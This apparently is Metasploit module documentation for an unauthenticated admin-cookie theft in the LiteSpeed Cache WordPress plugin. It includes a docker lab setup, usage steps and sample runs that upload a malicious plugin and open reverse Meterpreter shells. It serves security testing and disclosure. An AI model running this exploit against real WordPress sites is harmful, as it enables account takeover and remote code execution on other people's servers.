## Vulnerable Application
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently
has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging
feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible
without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies
found in the debug.log can be used to upload and execute a malicious plugin containing a payload.

### Setup
Spin up a WordPress container with the following docker-compose file:
```yml
version: '3.8'

services:
  db:
    image: mysql:latest
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: example_root_password
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress_user
      MYSQL_PASSWORD: example_password

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress_user
      WORDPRESS_DB_PASSWORD: example_password
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wordpress_data:/var/www/html

volumes:
  db_data:
  wordpress_data:
```

Download, install and activate the vulnerable LiteSpeed Cache plugin: https://downloads.wordpress.org/plugin/litespeed-cache.6.3.zip
Once installed a LiteSpeed menu bar item should appear on the left hand side of the application. When clicked a drop down
should appear. Select "ToolBox", then select "Debug Settings". Then switch the "Debug Log" feature to "On".

Sign out of WordPress and when you reauthenticate your admin cookie will be logged to /wp-content/debug.log

## Verification Steps

1. Start msfconsole
1. Do: `use multi/http/wp_litespeed_cookie_theft`
1. Set the `RHOST`, `LHOST` and `RPORT`
1. Run the module
1. Receive a Meterpreter session in the context of the user running the WordPress site.

## Scenarios
### ARCH_PHP Target - LiteSpeed Cache 6.3 - WordPress 6.4.3

```
msf exploit(multi/http/wp_litespeed_cookie_theft) > run

[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] One or more potential admin cookies were found
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php...
[*] Sending stage (39927 bytes) to 192.168.1.67
[+] Deleted OiDynMUetY.php
[+] Deleted qSNzhabMTP.php
[+] Deleted ../qSNzhabMTP
[*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : 29292f368fe3
OS          : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64
Meterpreter : php/linux
```

### ARCH_CMD Target - LiteSpeed Cache 6.3 - WordPress 6.4.3

```
msf exploit(multi/http/wp_litespeed_cookie_theft) > run

[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] One or more potential admin cookies were found
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/IVStOPtwuq/WvXecICkgw.php...
[*] Sending stage (3045380 bytes) to 192.168.1.67
[+] Deleted WvXecICkgw.php
[+] Deleted IVStOPtwuq.php
[+] Deleted ../IVStOPtwuq
[*] Meterpreter session 6 opened (192.168.1.67:4444 -> 192.168.1.67:64884) at 2024-09-11 23:14:49 -0700

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.22.0.3
OS           : Debian 12.5 (Linux 6.10.4-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
